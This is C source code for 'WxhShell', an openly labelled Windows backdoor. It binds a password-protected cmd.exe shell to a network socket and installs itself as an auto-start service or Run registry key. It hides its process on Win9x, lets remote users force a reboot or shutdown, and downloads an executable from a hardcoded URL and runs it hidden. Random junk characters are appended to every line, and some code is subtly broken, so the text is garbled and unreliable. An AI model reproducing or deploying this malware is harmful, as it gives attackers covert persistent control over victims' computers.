    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3 cu`U`  
    if(Boot(SHUTDOWN)) k68\ _NUL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uD_iyK0,  
    else { K08xiMjl  
    closesocket(wsh); hIE$ut +  
    ExitThread(0); s7[du_)  
    } gh#9<  
    break; QOB>Tv E  
    } 2eK!<Gj  
  // 获取shell e<#t]V  
  case 's': { h,"K+$  
    CmdShell(wsh); J4&d6[40  
    closesocket(wsh); _SY4Q s`d  
    ExitThread(0);  \9N1:  
    break; j#rjYiYKy  
  } gs7h`5[es  
  // 退出 nkUSd}a`r  
  case 'x': { @@M 2s(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Dk[m)]w\  
    CloseIt(wsh); O`<id+rx  
    break; F jsnFX;  
    } `83s97Sa  
  // 离开 qbrY5;U  
  case 'q': { p~Di\AQ/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2iO AUo+  
    closesocket(wsh); 46OYOa  
    WSACleanup(); o`,|{K$H  
    exit(1); 6aRPm%  
    break; Z]OXitt7  
        } kV9S+ME  
  } B)>r~v]  
  } IYAvO%~  
T%zCAfx m  
  // 提示信息 )IQ5Qu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <?yf<G'$  
} 6:_@;/03%  
  } e1ts/@V  
|[qq $  
  return; `TwDR6&  
} 3*INDD=  
[Ume^  
// shell模块句柄 (OS -v~{r@  
int CmdShell(SOCKET sock) gJ;jh7e@  
{ {P/ sxh:e  
STARTUPINFO si; RgTm^?Ex  
ZeroMemory(&si,sizeof(si)); ye?4^@u u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^jY/w>UdH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _%M+!Ltz  
PROCESS_INFORMATION ProcessInfo; DNTkv_S  
char cmdline[]="cmd"; TEB<ia3+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Yvmo%.oU  
  return 0; ct o+W}k  
} <=O/_Iu(  
*49({TD6`  
// 自身启动模式 !W\Zq+^^J3  
int StartFromService(void) xbUL./uj  
{ ^ &UezDTS  
typedef struct R k'5L  
{ *aem5 E`c  
  DWORD ExitStatus; MZPXI{G  
  DWORD PebBaseAddress; EuH[G_5e0  
  DWORD AffinityMask; r [NI#wW  
  DWORD BasePriority; %5[,U)X"  
  ULONG UniqueProcessId; F R57F(31  
  ULONG InheritedFromUniqueProcessId; 6I8A[   
}   PROCESS_BASIC_INFORMATION; {:@MBA 34  
(v/mKGyg  
PROCNTQSIP NtQueryInformationProcess; N"',  
n7EG%q6m+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  H8lh.K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lhk=yVG3  
--D&a;CO}  
  HANDLE             hProcess; S`w_q=-^8  
  PROCESS_BASIC_INFORMATION pbi; *- S/{ .&  
xY_<D+ OV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7NQ@q--3s  
  if(NULL == hInst ) return 0; r}>q*yx:  
{.r jp`39  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K-<kp!v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {?+dVLa^;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]QqT.z%B  
M= ]]kJ:I  
  if (!NtQueryInformationProcess) return 0; tJ qd  
s:p6oEQ=J  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HxE`"/~.7k  
  if(!hProcess) return 0; K|a^<| S  
:c?}~a~JO(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; r.~^h^c]  
H?H(=  
  CloseHandle(hProcess); Yw!(]8PYdU  
Zqp<8M2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'F .tOD  
if(hProcess==NULL) return 0; )@hG#KMK  
>Nho`m(  
HMODULE hMod; kv8 /UW  
char procName[255]; $qp,7RW  
unsigned long cbNeeded; x$gVEh*k  
v:xfGA nP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <\6<-x(H5  
#q-7#pp  
  CloseHandle(hProcess); *z3wm-z1&  
QPZ|C{Ce  
if(strstr(procName,"services")) return 1; // 以服务启动 %uUQBZ4  
wJ}9(>id*  
  return 0; // 注册表启动 } N$soaUs  
} 3[T<pAZ  
Pkq?tm$#  
// 主模块 Wf>P[6  
int StartWxhshell(LPSTR lpCmdLine) Osj/={7g  
{ $TK<~3`  
  SOCKET wsl; I<}<!.Bc!  
BOOL val=TRUE; 24; BY'   
  int port=0; 4xl}kmvv  
  struct sockaddr_in door; ]hC6PKJU  
[(d))(M$|  
  if(wscfg.ws_autoins) Install(); xn BL{ []  
K:_5#!*^98  
port=atoi(lpCmdLine); VKtZyhK"h  
= VFPZ  
if(port<=0) port=wscfg.ws_port; KhFw%Z0s<  
BJ$\Mb##3@  
  WSADATA data; 65g"$:0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x<lY&KQ0  
a%igc^GS2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !$1'q~sO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m R|;}u;d  
  door.sin_family = AF_INET; fvH4<c5x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Zk .V   
  door.sin_port = htons(port); @ 5tW*:s  
6_vhBYLf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i7#PYt  
closesocket(wsl); k&dLg5O  
return 1; NB@TyU  
} k&M9Hn2  
-l2aAK1M  
  if(listen(wsl,2) == INVALID_SOCKET) { G-#]|)  
closesocket(wsl); eCfy'US;@3  
return 1; )h>H}wDs  
} .r4M]1Of  
  Wxhshell(wsl); ~bsL W:.'  
  WSACleanup(); -]$=.0 l  
6%Ws>H4@|  
return 0; E,EpzB$_dj  
3{"MN=  
} LF?MO1!M  
3`%U)gCT5  
// 以NT服务方式启动 -s5>GwZt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8RE"xJMff  
{ 'qt+.vd  
DWORD   status = 0; \]$TBN dJ4  
  DWORD   specificError = 0xfffffff; 5<=ktA48[  
L32[IL|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1O@y >cV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Duh[(r_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vOnhJN  
  serviceStatus.dwWin32ExitCode     = 0; /tqQAvj  
  serviceStatus.dwServiceSpecificExitCode = 0; 4Y!_tZ>  
  serviceStatus.dwCheckPoint       = 0; 2J0N]`|)  
  serviceStatus.dwWaitHint       = 0; PD$@.pib  
}bM=)eUfX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3`3`iN!8\@  
  if (hServiceStatusHandle==0) return; SGK=WLGM8  
gT8%?U:  
status = GetLastError(); j 5{ "j  
  if (status!=NO_ERROR) 2 ,bLEhu  
{ _`LQnRp(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }p$@.+  
    serviceStatus.dwCheckPoint       = 0; FXd><#U  
    serviceStatus.dwWaitHint       = 0; '"~ 2xiin  
    serviceStatus.dwWin32ExitCode     = status; ) HPe}(ypt  
    serviceStatus.dwServiceSpecificExitCode = specificError; R[Y{pT,AY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U) B^R  
    return; JS{trqc1d  
  } 6 OLp x)fG  
.e|VW)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WK)2/$7@  
  serviceStatus.dwCheckPoint       = 0; W:V:Ej7 h  
  serviceStatus.dwWaitHint       = 0; hErO.ad1o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SZ)AO8&  
} U5!T-o;3}  
yWkg4  
// 处理NT服务事件,比如:启动、停止 I%qZMoS1h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N-cLp}D}WB  
{ 8n`O{8:fi  
switch(fdwControl) nJ{vO{N  
{ ,ag:w<km  
case SERVICE_CONTROL_STOP: jXCSD@?]K  
  serviceStatus.dwWin32ExitCode = 0; "S ~(|G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 20Rj Rd  
  serviceStatus.dwCheckPoint   = 0; &]xOjv/?  
  serviceStatus.dwWaitHint     = 0; *W&}}iL  
  { l*(Ml= O{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b?Zt3#  
  } c"H59 jE  
  return; 9S8>"w^R  
case SERVICE_CONTROL_PAUSE: q` Z_Bw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KDQqN]rg  
  break; g E#4 3  
case SERVICE_CONTROL_CONTINUE: Y(D&JKx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vC1D}=Fp  
  break; a"6AZT"8  
case SERVICE_CONTROL_INTERROGATE: YrRD3P.P  
  break; v0|[w2Q2  
}; % bpVK~z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); byrK``f  
} { t1|6R0  
[h;&r"1  
// 标准应用程序主函数 m.|__L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C % d  
{ L UitY  
I]dt1iXu_{  
// 获取操作系统版本 n>|7 k3  
OsIsNt=GetOsVer(); ~l SdWUk>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =!pfgE  
6&Al9+$  
  // 从命令行安装 eq<giHJM  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1+0DTqWz  
SmR"gu  
  // 下载执行文件 W{6%Hh p  
if(wscfg.ws_downexe) { IC[iCrB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oI/jGyY;  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?oKY"C8/  
} } eL*gy  
O,>`#?  
if(!OsIsNt) { E,fG<X{  
// 如果时win9x,隐藏进程并且设置为注册表启动 :kMEL*  
HideProc(); `tZ-8f  
StartWxhshell(lpCmdLine); 0 jszZ_  
} M1sR+e$"  
else )X dpzWod  
  if(StartFromService()) |` +G7?)Y  
  // 以服务方式启动 a*fUMhIi  
  StartServiceCtrlDispatcher(DispatchTable); >^!qx b-  
else '=^$ ;3Z  
  // 普通方式启动 ,*Vt53@E  
  StartWxhshell(lpCmdLine); liuF;*  
5/m^9@A  
return 0; k;AV  'r  
} R"0fZENTG  
N8s2v W  
AzwG_XgM)  
zURob MpE#  
=========================================== n%"0%A  
p` '8M  
[nBdq"K  
N=`xoF  
Ul41R Ny)  
i5QG_^X&  
" HalkNR-eEm  
_ zh>q4M  
#include <stdio.h> ATdK)gG  
#include <string.h> /61P`1y(J  
#include <windows.h> DV,rh83.ip  
#include <winsock2.h> e!:/enQo  
#include <winsvc.h> XehpW}2\  
#include <urlmon.h> w=r3QKm#K  
Ckelr  
#pragma comment (lib, "Ws2_32.lib") H,F/u&O  
#pragma comment (lib, "urlmon.lib") c|s*(WljY  
"HuV'  
#define MAX_USER   100 // 最大客户端连接数 c2,1d`  
#define BUF_SOCK   200 // sock buffer 1 >nl ]yO  
#define KEY_BUFF   255 // 输入 buffer  3e<FlH{  
Pd,+= ML  
#define REBOOT     0   // 重启 c]y"5;V8  
#define SHUTDOWN   1   // 关机 m _0D^e7#  
q $Hg\ {c  
#define DEF_PORT   5000 // 监听端口 S;582H9D  
!+E|{Zj  
#define REG_LEN     16   // 注册表键长度 | CC(`<\R  
#define SVC_LEN     80   // NT服务名长度 f-V8/  
V ifQ@  
// 从dll定义API Q}?yj,D D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XYKWOrkQqa  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *mc]Oa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "iCR68e  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W.xlS ZEB  
jf&LSK;2  
// wxhshell配置信息 ?:Y0#Btj  
struct WSCFG { yAu-BObD  
  int ws_port;         // 监听端口 'wo[iNy[  
  char ws_passstr[REG_LEN]; // 口令 FN#6pM']|  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6z^Kg~a   
  char ws_regname[REG_LEN]; // 注册表键名 >bf29tr  
  char ws_svcname[REG_LEN]; // 服务名 I 9yN TD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H$^b.5K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d(>7BV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G;n'c7BV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z2m%L0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qsB,yckml  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %!r>]M <  
dbkkx1{>Y  
}; rf+'U9  
05(lh<C  
// default Wxhshell configuration 8{5Y%InL  
struct WSCFG wscfg={DEF_PORT, 't$(Ruw  
    "xuhuanlingzhe", U _~lpu  
    1, SR 9 Cl  
    "Wxhshell", <a-I-~  
    "Wxhshell", uiO7sf6  
            "WxhShell Service", x1m J&D  
    "Wrsky Windows CmdShell Service", ti:qOSIDTA  
    "Please Input Your Password: ", u,:GJU  
  1, d}K"dr:W5  
  "http://www.wrsky.com/wxhshell.exe", 10v4k<xb  
  "Wxhshell.exe" G: FP9  
    }; *p;Fwj]  
*P_ 3A:_  
// 消息定义模块 .:tAZZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *rO#UE2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T}(J`{ 9i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^l#Z*0@><~  
char *msg_ws_ext="\n\rExit."; m~%\f8w-x  
char *msg_ws_end="\n\rQuit."; ,?GEL>F  
char *msg_ws_boot="\n\rReboot..."; hKw4[wB]  
char *msg_ws_poff="\n\rShutdown..."; :\x)`lu  
char *msg_ws_down="\n\rSave to "; G#ov2  
,K Ebnk|i  
char *msg_ws_err="\n\rErr!"; _94|^   
char *msg_ws_ok="\n\rOK!"; Vx@JP93|  
6[kp#  
char ExeFile[MAX_PATH]; 1 dT1DcZ  
int nUser = 0; :ND5po#(  
HANDLE handles[MAX_USER]; `}gjfu -'\  
int OsIsNt;  4I7}  
XVjs0/5b  
SERVICE_STATUS       serviceStatus; {D1"bDZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K!6k<  
5" <7  
// 函数声明 ^9zL[R  
int Install(void); y^:!]-+  
int Uninstall(void); 12;"=9e!  
int DownloadFile(char *sURL, SOCKET wsh); i-)OY,  
int Boot(int flag); VfOm#Ue0 q  
void HideProc(void); lz.ta!6  
int GetOsVer(void); _p/ _t76s  
int Wxhshell(SOCKET wsl); !Mp.jE  
void TalkWithClient(void *cs); X4LU/f<f  
int CmdShell(SOCKET sock); ?sV0T)uk  
int StartFromService(void); >%k:+ +b{  
int StartWxhshell(LPSTR lpCmdLine); MG<kvx~2  
6m_ fEkS[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s(W]>Ib  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?s[ kUv+=  
xMNUy B{?  
// 数据结构和表定义 !, Y1FC  
SERVICE_TABLE_ENTRY DispatchTable[] = ]ovP^]]V  
{ Lu,72i0O ^  
{wscfg.ws_svcname, NTServiceMain}, $eUI.j(HU  
{NULL, NULL} sJ[I<  
}; e ?FjN 9  
Vvk1 D(  
// 自我安装 'E FP/(2J  
int Install(void) ygoA/*s  
{ 4lMf'V7*l  
  char svExeFile[MAX_PATH]; {%W'Zx  
  HKEY key; b_2bg>|;  
  strcpy(svExeFile,ExeFile); JgQ,,p_V?  
2fIHFo\8  
// 如果是win9x系统,修改注册表设为自启动 k I  
if(!OsIsNt) { 8,unq3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q!7il<S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RV^ N4q4  
  RegCloseKey(key); pRyePxCDj)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~JhH ,E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S"+X+Oxp7?  
  RegCloseKey(key); Gf``0F)  
  return 0; @I_!q*  
    } /BEE.`6yI5  
  } i+rh&,  
} o~<ith$A*  
else { |6@s6]%X}  
Sep/N"7~t  
// 如果是NT以上系统,安装为系统服务 6! `^}4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k# -u!G  
if (schSCManager!=0) *?Hc8y-dG,  
{ [_kis  
  SC_HANDLE schService = CreateService YU >NGC]}d  
  ( 8zhr;Srt  
  schSCManager, )wT @`p"4  
  wscfg.ws_svcname, u*n%cXY;J/  
  wscfg.ws_svcdisp, ))M!"*  
  SERVICE_ALL_ACCESS, r xlKoa  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E}-Y!,v^  
  SERVICE_AUTO_START, !q]@/<=  
  SERVICE_ERROR_NORMAL, Zw@=WW[Q`p  
  svExeFile, s>pM+PoGYd  
  NULL, {N.J A=  
  NULL, y}5:CZ  
  NULL, M%{,?a0V  
  NULL, 2Q bCH}  
  NULL c+a"sx\  
  ); `2 6t+Tb  
  if (schService!=0) /7[U J'  
  { I= '6>+P  
  CloseServiceHandle(schService); #{f%b,.yxt  
  CloseServiceHandle(schSCManager); )#%v1rR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CpGy'Ia  
  strcat(svExeFile,wscfg.ws_svcname); ^uCZO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f3;.+hJ])  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1\u{1 V  
  RegCloseKey(key); m7 $t$/g  
  return 0; ",, W1]"%  
    } (JX 9c  
  } P >>VBh?  
  CloseServiceHandle(schSCManager); j 3t,Cx  
} 59k[A~)~  
} %96l(JlJ)B  
~~iFs ,9  
return 1; i8nzPKF2$3  
} :P/0"  
:iEIo7B  
// 自我卸载 >{1 i8 b@  
int Uninstall(void) !5^&?plC@  
{ 0wE)1w<C~  
  HKEY key; 96#aG h>  
YiGSFg  
if(!OsIsNt) { Of gmJ(%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;N?raz2mEi  
  RegDeleteValue(key,wscfg.ws_regname); opIbs7k-  
  RegCloseKey(key); hd%O\D?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #+ai G52+  
  RegDeleteValue(key,wscfg.ws_regname); L"[>tY  
  RegCloseKey(key); ]!'}{[1}  
  return 0; Lk`,mjhk  
  } U$m[{r2M  
} ^&!iqK2o  
} T`W37fz0  
else { f=cj5T:[  
M{)|9F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Mh@RO|F  
if (schSCManager!=0) LUKt!I0l  
{ j 21>\K!p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,sZ)@?e  
  if (schService!=0) WT'?L{  
  { @3_."-d  
  if(DeleteService(schService)!=0) { qBF}-N_  
  CloseServiceHandle(schService); 9Ac4'L  
  CloseServiceHandle(schSCManager); $*qQ/hi  
  return 0; \F8 :6-  
  } m ?#WQf  
  CloseServiceHandle(schService); e3=-7FU  
  } tdOox87YK  
  CloseServiceHandle(schSCManager); 5c 69M5  
} @$R^-_m  
} vT;~\,M  
|0$7{nQ  
return 1; ~vV+)KI  
} cNG`-+U'  
n_eN|m?@  
// 从指定url下载文件 |wkUnn4UB8  
int DownloadFile(char *sURL, SOCKET wsh) XGSgx  
{ ppR; v  
  HRESULT hr; XLj|y#h  
char seps[]= "/"; k.?@qCs[  
char *token; 19*D*dkBR  
char *file; @,;VMO  
char myURL[MAX_PATH]; D[Kq`  
char myFILE[MAX_PATH]; eeCrHt4;  
'M=V{.8U  
strcpy(myURL,sURL); u iR[V~  
  token=strtok(myURL,seps); 2yPF'Q7u_.  
  while(token!=NULL) xi}3)5  
  { 6I-Qq?L[H  
    file=token; m:]60koz]o  
  token=strtok(NULL,seps); @%gth@8  
  } ;6tGRh$b  
@!,W]?{  
GetCurrentDirectory(MAX_PATH,myFILE); <>R\lPI2  
strcat(myFILE, "\\"); [_1K1i"m  
strcat(myFILE, file); XpT+xv1`;  
  send(wsh,myFILE,strlen(myFILE),0); {8w,{p`  
send(wsh,"...",3,0); arb'.:[z^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6GsB*hW  
  if(hr==S_OK) *B%ulsm  
return 0; PGJkQsp0  
else  ?h3t"9  
return 1; 25/M2u?  
:0vKt 6>Sp  
} RFT`r  
p.x!dt\1kC  
// 系统电源模块 gF~#M1!!  
int Boot(int flag) ^-dhz88wV  
{ OHK]=DH:M  
  HANDLE hToken; 6'ia^om  
  TOKEN_PRIVILEGES tkp; K yDPD'  
hDD]Kc;G^1  
  if(OsIsNt) { 57`9{.HB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !"s~dL,7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /<)kI(gf  
    tkp.PrivilegeCount = 1; 1MxO((k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {7+y56[yu  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z~\Y*\f^Y3  
if(flag==REBOOT) { {]3Rk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [Q:mLc  
  return 0; 6 u}c543  
} nPj &a  
else { DW0UcLO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) );1UbqVPD  
  return 0; 1D2Yued  
} MznMt2-u  
  } ZGC*BP/  
  else { SEsLJ?Dv0  
if(flag==REBOOT) { 7(]M`bBH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (VB-5&b  
  return 0; TY]-L1$  
} O%p+P<J  
else { faPgp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w0Y V87  
  return 0; T Y*uK  
} SZL('x,"^  
} v)-:0 f  
\@hq7:Q  
return 1; A v[|G4n  
} ~WX40z  
#*x8)6Ct  
// win9x进程隐藏模块 CyV(+KBe_  
void HideProc(void) ^eY% T5K   
{ @V71%D8{  
:JfT&YYi"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); VZEDBZ x*  
  if ( hKernel != NULL ) UY`U[#  
  { rLJjK$_x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jb0LMl}/A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *;X,yEK[  
    FreeLibrary(hKernel); Nc[[o>/Cb  
  } @zAav>  
{+^qm8n  
return; xe9V'wICp(  
} L__J(6,V2  
 jgd^{!  
// 获取操作系统版本 3v@Y"I3;  
int GetOsVer(void) EViQB.3w\  
{ xa$p,_W:'  
  OSVERSIONINFO winfo; sB'Z9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Gz@/:dW^vZ  
  GetVersionEx(&winfo); ~Lf>/w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3Q_L6Wj~  
  return 1; P DtLJt$  
  else \*.u (8~2o  
  return 0; Ld$e  -dB  
} v*VId l>  
iIO_d4Z  
// 客户端句柄模块 8CN~o|uN  
int Wxhshell(SOCKET wsl) wTK>U`o  
{ GjGt' m*  
  SOCKET wsh; SRBQ"X[M2  
  struct sockaddr_in client; PAHkF&  
  DWORD myID; <Q|(dFr`v  
j%@wQVxq  
  while(nUser<MAX_USER) RY9h^q*  
{ `6BjNV  
  int nSize=sizeof(client); !3T,{:gyrI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SXx;- Ws  
  if(wsh==INVALID_SOCKET) return 1; +tSfx  
c>pbRUMH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <|R`N)AV;  
if(handles[nUser]==0) fjwUh>[ }  
  closesocket(wsh); "+GKU)  
else /By`FW Y  
  nUser++; B jsF5~+\  
  } WEVV2BJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f{j (H?5  
T3#KuiwU9  
  return 0; "E/UNE6P4  
} *^_ywqp  
<oP"kh<D4  
// 关闭 socket Q\k|pg?  
void CloseIt(SOCKET wsh) JC}oc M j0  
{ Al1BnFB  
closesocket(wsh); 6y d/3k  
nUser--; VGtKW kVH  
ExitThread(0); "FfIq;  
} q;0QI{:5v  
byB ESyV!O  
// 客户端请求句柄 i!k5P".o^  
void TalkWithClient(void *cs) UxS@]YC  
{ z=/xv},  
^g eC?m  
  SOCKET wsh=(SOCKET)cs; ?!d\c(5Gt  
  char pwd[SVC_LEN]; lX*IEAc  
  char cmd[KEY_BUFF]; s`E^1jC  
char chr[1]; 7B| #*IZe  
int i,j; F^bzE5#  
vx&r  
  while (nUser < MAX_USER) { {u4=*> ?G  
r"uOf;m  
if(wscfg.ws_passstr) { 1deNrmp%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;DXcEzV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~DJ>)pp  
  //ZeroMemory(pwd,KEY_BUFF); Ebk_(Py\  
      i=0; 1O{x9a5Z?O  
  while(i<SVC_LEN) { 5C&]YT3 )  
0>KW94  
  // 设置超时 Pm* N!:u  
  fd_set FdRead; RHOEyXhOA  
  struct timeval TimeOut; +o94w^'^$b  
  FD_ZERO(&FdRead); AO "pm  
  FD_SET(wsh,&FdRead); wf[B-2q)  
  TimeOut.tv_sec=8; ~ d!F|BH4  
  TimeOut.tv_usec=0; Q\ AM] U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =5QP'Qt{O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zld[uhc>  
DL:wiQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $%ts#56*  
  pwd=chr[0]; & &\HE7*  
  if(chr[0]==0xd || chr[0]==0xa) { V7\@g  
  pwd=0; D:yj#&I  
  break; (g8<"< N?  
  } #'<s/7;~  
  i++; I2R" Y<  
    } OE=]/([  
|*w}bT(PfR  
  // 如果是非法用户,关闭 socket >#Obhs|S{C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Qq.ht  
} e{<r<]/j  
9 Z 5!3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XYM 5'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IJ`%Zh{f  
0L5 n<<7  
while(1) { *C*'J7  
wM"P JG  
  ZeroMemory(cmd,KEY_BUFF); ("7rjQjRz  
%%dQIlF  
      // 自动支持客户端 telnet标准   dV( "g],  
  j=0; XIAHUT5~J  
  while(j<KEY_BUFF) { 7t@r}rC,K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~KW|<n4m  
  cmd[j]=chr[0]; XmK2Xi;=b  
  if(chr[0]==0xa || chr[0]==0xd) { _=wu>h&7  
  cmd[j]=0; w'/ Mn+  
  break; {7%W /C#A  
  } E,/<;  
  j++; |\lsTY&2  
    } ^Pq4 n%x  
(2oP=9m  
  // 下载文件 /5l"rni   
  if(strstr(cmd,"http://")) { =Z3{6y}3p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N '8u}WO  
  if(DownloadFile(cmd,wsh)) /s'7[bSv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'nrX RDb  
  else =41g9UQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6dCS Gb  
  } JjXuy7XQ  
